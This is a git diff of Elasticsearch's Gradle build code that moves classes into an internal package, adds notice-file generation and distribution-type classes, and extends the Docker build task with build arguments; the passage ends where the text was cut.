buildSrc/src/main/java/org/elasticsearch/gradle/LoggingOutputStream.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/LoggingOutputStream.java index 1e4b4c4843668..3572964a82ed5 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/LoggingOutputStream.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/LoggingOutputStream.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; import java.io.IOException; import java.io.OutputStream; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/MavenFilteringHack.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/MavenFilteringHack.java new file mode 100644 index 0000000000000..c6f5fed322e5b --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/MavenFilteringHack.java @@ -0,0 +1,43 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ +package org.elasticsearch.gradle.internal; + +import java.util.LinkedHashMap; +import java.util.Map; + +import org.apache.tools.ant.filters.ReplaceTokens; +import org.gradle.api.file.CopySpec; + +/** + * Gradle provides "expansion" functionality using groovy's SimpleTemplatingEngine (TODO: check name). + * However, it allows substitutions of the form {@code $foo} (no curlies). Rest tests provide + * some substitution from the test runner, which this form is used for. + * + * This class provides a helper to do maven filtering, where only the form {@code $\{foo\}} is supported. + * + * TODO: we should get rid of this hack, and make the rest tests use some other identifier + * for builtin vars + */ +public class MavenFilteringHack { + /** + * Adds a filter to the given copy spec that will substitute maven variables. + * + */ + static void filter(CopySpec copySpec, Map substitutions) { + Map mavenSubstitutions = new LinkedHashMap<>(); + Map argMap = new LinkedHashMap<>(); + + substitutions.forEach((k, v) -> mavenSubstitutions.put("{" + k.toString(), v.toString())); + + argMap.put("tokens", mavenSubstitutions); + argMap.put("beginToken", "$"); + argMap.put("endToken", "}"); + + copySpec.filter(argMap, ReplaceTokens.class); + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/NoticeTask.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/NoticeTask.java new file mode 100644 index 0000000000000..a23b8a2ffc0ec --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/NoticeTask.java @@ -0,0 +1,204 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal; + +import org.codehaus.groovy.runtime.StringGroovyMethods; +import org.gradle.api.DefaultTask; +import org.gradle.api.file.FileCollection; +import org.gradle.api.file.FileTree; +import org.gradle.api.file.SourceDirectorySet; +import org.gradle.api.tasks.InputFile; +import org.gradle.api.tasks.InputFiles; +import org.gradle.api.tasks.Optional; +import org.gradle.api.tasks.OutputFile; +import org.gradle.api.tasks.TaskAction; + +import org.elasticsearch.gradle.internal.util.FileUtils; +import java.io.File; +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.TreeMap; + +import static org.apache.commons.io.FileUtils.readFileToString; + +/** + * A task to create a notice file which includes dependencies' notices. + */ +public class NoticeTask extends DefaultTask { + + @InputFile + private File inputFile = getProject().getRootProject().file("NOTICE.txt"); + @OutputFile + private File outputFile = new File(getProject().getBuildDir(), "notices/" + getName() + "/NOTICE.txt"); + private FileTree sources; + /** + * Directories to include notices from + */ + private List licensesDirs = new ArrayList(); + + public NoticeTask() { + setDescription("Create a notice file from dependencies"); + // Default licenses directory is ${projectDir}/licenses (if it exists) + File licensesDir = new File(getProject().getProjectDir(), "licenses"); + if (licensesDir.exists()) { + licensesDirs.add(licensesDir); + } + } + + /** + * Add notices from the specified directory. + */ + public void licensesDir(File licensesDir) { + licensesDirs.add(licensesDir); + } + + public void source(Object source) { + if (sources == null) { + sources = getProject().fileTree(source); + } else { + sources = sources.plus(getProject().fileTree(source)); + } + + } + + public void source(SourceDirectorySet source) { + if (sources == null) { + sources = source; + } else { + sources = sources.plus(source); + } + + } + + @TaskAction + public void generateNotice() throws IOException { + StringBuilder output = new StringBuilder(); + output.append(readFileToString(inputFile, "UTF-8")); + output.append("\n\n"); + // This is a map rather than a set so that the sort order is the 3rd + // party component names, unaffected by the full path to the various files + final Map seen = new TreeMap(); + FileCollection noticeFiles = getNoticeFiles(); + if (noticeFiles != null) { + for (File file : getNoticeFiles()) { + String name = file.getName().replaceFirst("-NOTICE\\.txt$", ""); + if (seen.containsKey(name)) { + File prevFile = seen.get(name); + String previousFileText = readFileToString(prevFile, "UTF-8"); + if (previousFileText.equals(readFileToString(file, "UTF-8")) == false) { + throw new RuntimeException( + "Two different notices exist for dependency '" + name + "': " + prevFile + " and " + file + ); + } + } else { + seen.put(name, file); + } + } + } + + // Add all LICENSE and NOTICE files in licenses directory + seen.forEach((name, file) -> { + appendFile(file, name, "NOTICE", output); + appendFile(new File(file.getParentFile(), name + "-LICENSE.txt"), name, "LICENSE", output); + }); + + // Find any source files with "@notice" annotated license header + for (File sourceFile : sources.getFiles()) { + boolean isPackageInfo = sourceFile.getName().equals("package-info.java"); + boolean foundNotice = false; + boolean inNotice = false; + StringBuilder header = new StringBuilder(); + String packageDeclaration = null; + + for (String line : FileUtils.readLines(sourceFile, "UTF-8")) { + if (isPackageInfo && packageDeclaration == null && line.startsWith("package")) { + packageDeclaration = line; + } + + if (foundNotice == false) { + foundNotice = line.contains("@notice"); + inNotice = true; + } else { + if (line.contains("*/")) { + inNotice = false; + + if (isPackageInfo == false) { + break; + } + + } else if (inNotice) { + header.append(StringGroovyMethods.stripMargin(line, "*")); + header.append("\n"); + } + } + } + + if (foundNotice) { + appendText(header.toString(), isPackageInfo ? packageDeclaration : sourceFile.getName(), "", output); + } + } + + FileUtils.write(outputFile, output.toString(), "UTF-8"); + } + + @InputFiles + @Optional + public FileCollection getNoticeFiles() { + FileTree tree = null; + for (File dir : licensesDirs) { + if (tree == null) { + tree = getProject().fileTree(dir); + } else { + tree = tree.plus(getProject().fileTree(dir)); + } + } + return tree == null ? null : tree.matching(patternFilterable -> patternFilterable.include("**/*-NOTICE.txt")); + } + + @InputFiles + @Optional + public FileCollection getSources() { + return sources; + } + + public static void appendFile(File file, String name, String type, StringBuilder output) { + String text = FileUtils.read(file, "UTF-8"); + if (text.trim().isEmpty()) { + return; + } + appendText(text, name, type, output); + } + + public static void appendText(String text, final String name, final String type, StringBuilder output) { + output.append("================================================================================\n"); + output.append(name + " " + type + "\n"); + output.append("================================================================================\n"); + output.append(text); + output.append("\n\n"); + } + + public File getInputFile() { + return inputFile; + } + + public void setInputFile(File inputFile) { + this.inputFile = inputFile; + } + + public File getOutputFile() { + return outputFile; + } + + public void setOutputFile(File outputFile) { + this.outputFile = outputFile; + } + +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/PublishPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/PublishPlugin.java similarity index 76% rename from buildSrc/src/main/java/org/elasticsearch/gradle/PublishPlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/PublishPlugin.java index b75fc066caab8..3458f5cd5a3b1 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/PublishPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/PublishPlugin.java @@ -6,21 +6,19 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; -import com.github.jengelman.gradle.plugins.shadow.ShadowBasePlugin; +import com.github.jengelman.gradle.plugins.shadow.ShadowExtension; import com.github.jengelman.gradle.plugins.shadow.ShadowPlugin; import groovy.util.Node; -import groovy.util.NodeList; -import org.elasticsearch.gradle.info.BuildParams; -import org.elasticsearch.gradle.precommit.PomValidationPrecommitPlugin; -import org.elasticsearch.gradle.util.Util; +import org.elasticsearch.gradle.internal.info.BuildParams; +import org.elasticsearch.gradle.internal.precommit.PomValidationPrecommitPlugin; +import org.elasticsearch.gradle.internal.util.Util; import org.gradle.api.NamedDomainObjectSet; import org.gradle.api.Plugin; import org.gradle.api.Project; import org.gradle.api.Task; import org.gradle.api.XmlProvider; -import org.gradle.api.artifacts.ProjectDependency; import org.gradle.api.plugins.BasePlugin; import org.gradle.api.plugins.BasePluginConvention; import org.gradle.api.plugins.JavaPlugin; @@ -52,8 +50,13 @@ public void apply(Project project) { private void configurePublications(Project project) { PublishingExtension publishingExtension = project.getExtensions().getByType(PublishingExtension.class); MavenPublication publication = publishingExtension.getPublications().create("elastic", MavenPublication.class); - project.getPlugins().withType(JavaPlugin.class, plugin -> publication.from(project.getComponents().getByName("java"))); - project.getPlugins().withType(ShadowPlugin.class, plugin -> configureWithShadowPlugin(project, publication)); + project.afterEvaluate(project1 -> { + if (project1.getPlugins().hasPlugin(ShadowPlugin.class)) { + configureWithShadowPlugin(project1, publication); + } else if (project1.getPlugins().hasPlugin(JavaPlugin.class)) { + publication.from(project.getComponents().getByName("java")); + } + }); } private static String getArchivesBaseName(Project project) { @@ -101,26 +104,8 @@ private static void addNameAndDescriptiontoPom(Project project, NamedDomainObjec } private static void configureWithShadowPlugin(Project project, MavenPublication publication) { - // Workaround for https://github.com/johnrengelman/shadow/issues/334 - // Here we manually add any project dependencies in the "shadow" configuration to our generated POM - publication.getPom().withXml(xml -> { - Node root = xml.asNode(); - NodeList dependencies = (NodeList) root.get("dependencies"); - Node dependenciesNode = (dependencies.size() == 0) - ? root.appendNode("dependencies") - : (Node) ((NodeList) root.get("dependencies")).get(0); - project.getConfigurations().getByName(ShadowBasePlugin.getCONFIGURATION_NAME()).getAllDependencies().all(dependency -> { - if (dependency instanceof ProjectDependency) { - Node dependencyNode = dependenciesNode.appendNode("dependency"); - dependencyNode.appendNode("groupId", dependency.getGroup()); - ProjectDependency projectDependency = (ProjectDependency) dependency; - String artifactId = getArchivesBaseName(projectDependency.getDependencyProject()); - dependencyNode.appendNode("artifactId", artifactId); - dependencyNode.appendNode("version", dependency.getVersion()); - dependencyNode.appendNode("scope", "compile"); - } - }); - }); + ShadowExtension shadow = project.getExtensions().getByType(ShadowExtension.class); + shadow.component(publication); } private static void addScmInfo(XmlProvider xml) { diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/RepositoriesSetupPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/RepositoriesSetupPlugin.java similarity index 77% rename from buildSrc/src/main/java/org/elasticsearch/gradle/RepositoriesSetupPlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/RepositoriesSetupPlugin.java index 74481f3cacc0d..21332013a6ce8 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/RepositoriesSetupPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/RepositoriesSetupPlugin.java @@ -6,13 +6,13 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; +import org.elasticsearch.gradle.VersionProperties; import org.gradle.api.GradleException; import org.gradle.api.Plugin; import org.gradle.api.Project; import org.gradle.api.artifacts.dsl.RepositoryHandler; -import org.gradle.api.artifacts.repositories.IvyArtifactRepository; import org.gradle.api.artifacts.repositories.MavenArtifactRepository; import java.net.MalformedURLException; @@ -37,20 +37,6 @@ public void apply(Project project) { * Adds repositories used by ES projects and dependencies */ public static void configureRepositories(Project project) { - // ensure all repositories use secure urls - // TODO: remove this with gradle 7.0, which no longer allows insecure urls - project.getRepositories().all(repository -> { - if (repository instanceof MavenArtifactRepository) { - final MavenArtifactRepository maven = (MavenArtifactRepository) repository; - assertRepositoryURIIsSecure(maven.getName(), project.getPath(), maven.getUrl()); - for (URI uri : maven.getArtifactUrls()) { - assertRepositoryURIIsSecure(maven.getName(), project.getPath(), uri); - } - } else if (repository instanceof IvyArtifactRepository) { - final IvyArtifactRepository ivy = (IvyArtifactRepository) repository; - assertRepositoryURIIsSecure(ivy.getName(), project.getPath(), ivy.getUrl()); - } - }); RepositoryHandler repos = project.getRepositories(); if (System.getProperty("repos.mavenLocal") != null) { // with -Drepos.mavenLocal=true we can force checking the local .m2 repo which is @@ -58,7 +44,7 @@ public static void configureRepositories(Project project) { // such that we don't have to pass hardcoded files to gradle repos.mavenLocal(); } - repos.jcenter(); + repos.mavenCentral(); String luceneVersion = VersionProperties.getLucene(); if (luceneVersion.contains("-snapshot")) { @@ -82,7 +68,7 @@ public static void configureRepositories(Project project) { } private static void assertRepositoryURIIsSecure(final String repositoryName, final String projectPath, final URI uri) { - if (uri != null && SECURE_URL_SCHEMES.contains(uri.getScheme()) == false) { + if (uri != null && SECURE_URL_SCHEMES.contains(uri.getScheme()) == false && uri.getHost().equals("localhost") == false) { String url; try { url = uri.toURL().toString(); diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/ResolveAllDependencies.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/ResolveAllDependencies.java new file mode 100644 index 0000000000000..818519dad3bda --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/ResolveAllDependencies.java @@ -0,0 +1,61 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal; + +import org.gradle.api.DefaultTask; +import org.gradle.api.artifacts.Configuration; +import org.gradle.api.file.FileCollection; +import org.gradle.api.model.ObjectFactory; +import org.gradle.api.tasks.InputFiles; +import org.gradle.api.tasks.TaskAction; +import org.gradle.internal.deprecation.DeprecatableConfiguration; + +import javax.inject.Inject; +import java.util.Collection; +import java.util.stream.Collectors; + +import static org.elasticsearch.gradle.DistributionDownloadPlugin.DISTRO_EXTRACTED_CONFIG_PREFIX; +import static org.elasticsearch.gradle.internal.rest.compat.YamlRestCompatTestPlugin.BWC_MINOR_CONFIG_NAME; + +public class ResolveAllDependencies extends DefaultTask { + + private final ObjectFactory objectFactory; + + Collection configs; + + @Inject + public ResolveAllDependencies(ObjectFactory objectFactory) { + this.objectFactory = objectFactory; + } + + @InputFiles + public FileCollection getResolvedArtifacts() { + return objectFactory.fileCollection() + .from(configs.stream().filter(ResolveAllDependencies::canBeResolved).collect(Collectors.toList())); + } + + @TaskAction + void resolveAll() { + // do nothing, dependencies are resolved when snapshotting task inputs + } + + private static boolean canBeResolved(Configuration configuration) { + if (configuration.isCanBeResolved() == false) { + return false; + } + if (configuration instanceof org.gradle.internal.deprecation.DeprecatableConfiguration) { + var deprecatableConfiguration = (DeprecatableConfiguration) configuration; + if (deprecatableConfiguration.canSafelyBeResolved() == false) { + return false; + } + } + return configuration.getName().startsWith(DISTRO_EXTRACTED_CONFIG_PREFIX) == false + && configuration.getName().equals(BWC_MINOR_CONFIG_NAME) == false; + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/tar/SymbolicLinkPreservingTar.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/SymbolicLinkPreservingTar.java similarity index 99% rename from buildSrc/src/main/java/org/elasticsearch/gradle/tar/SymbolicLinkPreservingTar.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/SymbolicLinkPreservingTar.java index 0471ea86429b1..55d325fbde2c4 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/tar/SymbolicLinkPreservingTar.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/SymbolicLinkPreservingTar.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.tar; +package org.elasticsearch.gradle.internal; import org.apache.commons.compress.archivers.tar.TarArchiveEntry; import org.apache.commons.compress.archivers.tar.TarArchiveOutputStream; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/checkstyle/MissingJavadocTypeCheck.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/checkstyle/MissingJavadocTypeCheck.java similarity index 95% rename from buildSrc/src/main/java/org/elasticsearch/gradle/checkstyle/MissingJavadocTypeCheck.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/checkstyle/MissingJavadocTypeCheck.java index 61cde460f11c0..ac6972bce2119 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/checkstyle/MissingJavadocTypeCheck.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/checkstyle/MissingJavadocTypeCheck.java @@ -18,7 +18,7 @@ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ -package org.elasticsearch.gradle.checkstyle; +package org.elasticsearch.gradle.internal.checkstyle; import com.puppycrawl.tools.checkstyle.StatelessCheck; import com.puppycrawl.tools.checkstyle.api.AbstractCheck; @@ -154,7 +154,9 @@ private boolean shouldCheck(final DetailAST ast) { return customScope.isIn(scope) && (surroundingScope == null || surroundingScope.isIn(scope)) - && (excludeScope == null || !customScope.isIn(excludeScope) || surroundingScope != null && !surroundingScope.isIn(excludeScope)) + && (excludeScope == null + || customScope.isIn(excludeScope) == false + || surroundingScope != null && surroundingScope.isIn(excludeScope) == false) && AnnotationUtil.containsAnnotation(ast, skipAnnotations) == false && ignorePattern.matcher(outerTypeName).find() == false; } diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/checkstyle/SnippetLengthCheck.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/checkstyle/SnippetLengthCheck.java similarity index 98% rename from buildSrc/src/main/java/org/elasticsearch/gradle/checkstyle/SnippetLengthCheck.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/checkstyle/SnippetLengthCheck.java index a6ad5c3e895f3..14c2b74e6e6bc 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/checkstyle/SnippetLengthCheck.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/checkstyle/SnippetLengthCheck.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.checkstyle; +package org.elasticsearch.gradle.internal.checkstyle; import com.puppycrawl.tools.checkstyle.api.AbstractFileSetCheck; import com.puppycrawl.tools.checkstyle.api.CheckstyleException; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/distribution/DebElasticsearchDistributionType.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/distribution/DebElasticsearchDistributionType.java new file mode 100644 index 0000000000000..7febdca5a806d --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/distribution/DebElasticsearchDistributionType.java @@ -0,0 +1,29 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.distribution; + +import org.elasticsearch.gradle.ElasticsearchDistribution; +import org.elasticsearch.gradle.ElasticsearchDistributionType; +import org.elasticsearch.gradle.Version; + +public class DebElasticsearchDistributionType implements ElasticsearchDistributionType { + + DebElasticsearchDistributionType() {} + + @Override + public String getName() { + return "deb"; + } + + @Override + public String getClassifier(ElasticsearchDistribution.Platform platform, Version version) { + return ":amd64"; + } + +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/distribution/DockerElasticsearchDistributionType.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/distribution/DockerElasticsearchDistributionType.java new file mode 100644 index 0000000000000..439ec23481f75 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/distribution/DockerElasticsearchDistributionType.java @@ -0,0 +1,26 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.distribution; + +import org.elasticsearch.gradle.ElasticsearchDistributionType; + +public class DockerElasticsearchDistributionType implements ElasticsearchDistributionType { + + DockerElasticsearchDistributionType() {} + + @Override + public String getName() { + return "docker"; + } + + @Override + public boolean isDocker() { + return true; + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/distribution/DockerIronBankElasticsearchDistributionType.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/distribution/DockerIronBankElasticsearchDistributionType.java new file mode 100644 index 0000000000000..e261cf3b5925a --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/distribution/DockerIronBankElasticsearchDistributionType.java @@ -0,0 +1,26 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.distribution; + +import org.elasticsearch.gradle.ElasticsearchDistributionType; + +public class DockerIronBankElasticsearchDistributionType implements ElasticsearchDistributionType { + + DockerIronBankElasticsearchDistributionType() {} + + @Override + public String getName() { + return "dockerIronBank"; + } + + @Override + public boolean isDocker() { + return true; + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/distribution/DockerUbiElasticsearchDistributionType.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/distribution/DockerUbiElasticsearchDistributionType.java new file mode 100644 index 0000000000000..65f4e3e9e4858 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/distribution/DockerUbiElasticsearchDistributionType.java @@ -0,0 +1,26 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.distribution; + +import org.elasticsearch.gradle.ElasticsearchDistributionType; + +public class DockerUbiElasticsearchDistributionType implements ElasticsearchDistributionType { + + DockerUbiElasticsearchDistributionType() {} + + @Override + public String getName() { + return "dockerUbi"; + } + + @Override + public boolean isDocker() { + return true; + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/distribution/InternalElasticsearchDistributionTypes.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/distribution/InternalElasticsearchDistributionTypes.java new file mode 100644 index 0000000000000..5977091d1ab28 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/distribution/InternalElasticsearchDistributionTypes.java @@ -0,0 +1,23 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.distribution; + +import org.elasticsearch.gradle.ElasticsearchDistributionType; + +import java.util.List; + +public class InternalElasticsearchDistributionTypes { + public static ElasticsearchDistributionType DEB = new DebElasticsearchDistributionType(); + public static ElasticsearchDistributionType RPM = new RpmElasticsearchDistributionType(); + public static ElasticsearchDistributionType DOCKER = new DockerElasticsearchDistributionType(); + public static ElasticsearchDistributionType DOCKER_UBI = new DockerUbiElasticsearchDistributionType(); + public static ElasticsearchDistributionType DOCKER_IRONBANK = new DockerIronBankElasticsearchDistributionType(); + + public static List ALL_INTERNAL = List.of(DEB, RPM, DOCKER, DOCKER_UBI, DOCKER_IRONBANK); +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/distribution/RpmElasticsearchDistributionType.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/distribution/RpmElasticsearchDistributionType.java new file mode 100644 index 0000000000000..a23cac67a7031 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/distribution/RpmElasticsearchDistributionType.java @@ -0,0 +1,31 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.distribution; + +import org.elasticsearch.gradle.ElasticsearchDistributionType; + +public class RpmElasticsearchDistributionType implements ElasticsearchDistributionType { + + RpmElasticsearchDistributionType() {} + + @Override + public String getName() { + return "rpm"; + } + + @Override + public boolean shouldExtract() { + return false; + } + + @Override + public boolean isDocker() { + return false; + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/docker/DockerBuildTask.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/docker/DockerBuildTask.java similarity index 82% rename from buildSrc/src/main/java/org/elasticsearch/gradle/docker/DockerBuildTask.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/docker/DockerBuildTask.java index 2bb318b051237..e06253a3d9591 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/docker/DockerBuildTask.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/docker/DockerBuildTask.java @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.docker; +package org.elasticsearch.gradle.internal.docker; import org.elasticsearch.gradle.LoggedExec; import org.gradle.api.DefaultTask; @@ -14,7 +14,9 @@ import org.gradle.api.file.RegularFileProperty; import org.gradle.api.logging.Logger; import org.gradle.api.logging.Logging; +import org.gradle.api.model.ObjectFactory; import org.gradle.api.provider.ListProperty; +import org.gradle.api.provider.MapProperty; import org.gradle.api.provider.Property; import org.gradle.api.tasks.Input; import org.gradle.api.tasks.InputDirectory; @@ -35,17 +37,22 @@ public class DockerBuildTask extends DefaultTask { private static final Logger LOGGER = Logging.getLogger(DockerBuildTask.class); private final WorkerExecutor workerExecutor; - private final RegularFileProperty markerFile = getProject().getObjects().fileProperty(); - private final DirectoryProperty dockerContext = getProject().getObjects().directoryProperty(); + private final RegularFileProperty markerFile; + private final DirectoryProperty dockerContext; private String[] tags; private boolean pull = true; private boolean noCache = true; private String[] baseImages; + private MapProperty buildArgs; @Inject - public DockerBuildTask(WorkerExecutor workerExecutor) { + public DockerBuildTask(WorkerExecutor workerExecutor, ObjectFactory objectFactory) { this.workerExecutor = workerExecutor; + this.markerFile = objectFactory.fileProperty(); + this.dockerContext = objectFactory.directoryProperty(); + this.buildArgs = objectFactory.mapProperty(String.class, String.class); + this.markerFile.set(getProject().getLayout().getBuildDirectory().file("markers/" + this.getName() + ".marker")); } @@ -57,7 +64,8 @@ public void build() { params.getTags().set(Arrays.asList(tags)); params.getPull().set(pull); params.getNoCache().set(noCache); - params.getBaseImages().set(baseImages); + params.getBaseImages().set(Arrays.asList(baseImages)); + params.getBuildArgs().set(buildArgs); }); } @@ -103,6 +111,15 @@ public void setBaseImages(String[] baseImages) { this.baseImages = baseImages; } + @Input + public MapProperty getBuildArgs() { + return buildArgs; + } + + public void setBuildArgs(MapProperty buildArgs) { + this.buildArgs = buildArgs; + } + @OutputFile public RegularFileProperty getMarkerFile() { return markerFile; @@ -147,9 +164,7 @@ public void execute() { final Parameters parameters = getParameters(); if (parameters.getPull().get()) { - for (String baseImage : parameters.getBaseImages().get()) { - pullBaseImage(baseImage); - } + parameters.getBaseImages().get().forEach(this::pullBaseImage); } LoggedExec.exec(execOperations, spec -> { @@ -162,6 +177,8 @@ public void execute() { } parameters.getTags().get().forEach(tag -> spec.args("--tag", tag)); + + parameters.getBuildArgs().get().forEach((k, v) -> spec.args("--build-arg", k + "=" + v)); }); try { @@ -183,6 +200,8 @@ interface Parameters extends WorkParameters { Property getNoCache(); - Property getBaseImages(); + ListProperty getBaseImages(); + + MapProperty getBuildArgs(); } } diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/docker/DockerSupportPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/docker/DockerSupportPlugin.java similarity index 97% rename from buildSrc/src/main/java/org/elasticsearch/gradle/docker/DockerSupportPlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/docker/DockerSupportPlugin.java index 298bf88aad6fd..bae71484b48f9 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/docker/DockerSupportPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/docker/DockerSupportPlugin.java @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.docker; +package org.elasticsearch.gradle.internal.docker; import org.gradle.api.Plugin; import org.gradle.api.Project; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/docker/DockerSupportService.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/docker/DockerSupportService.java similarity index 99% rename from buildSrc/src/main/java/org/elasticsearch/gradle/docker/DockerSupportService.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/docker/DockerSupportService.java index bc455a6e0608d..d5b0d20290dca 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/docker/DockerSupportService.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/docker/DockerSupportService.java @@ -5,10 +5,10 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.docker; +package 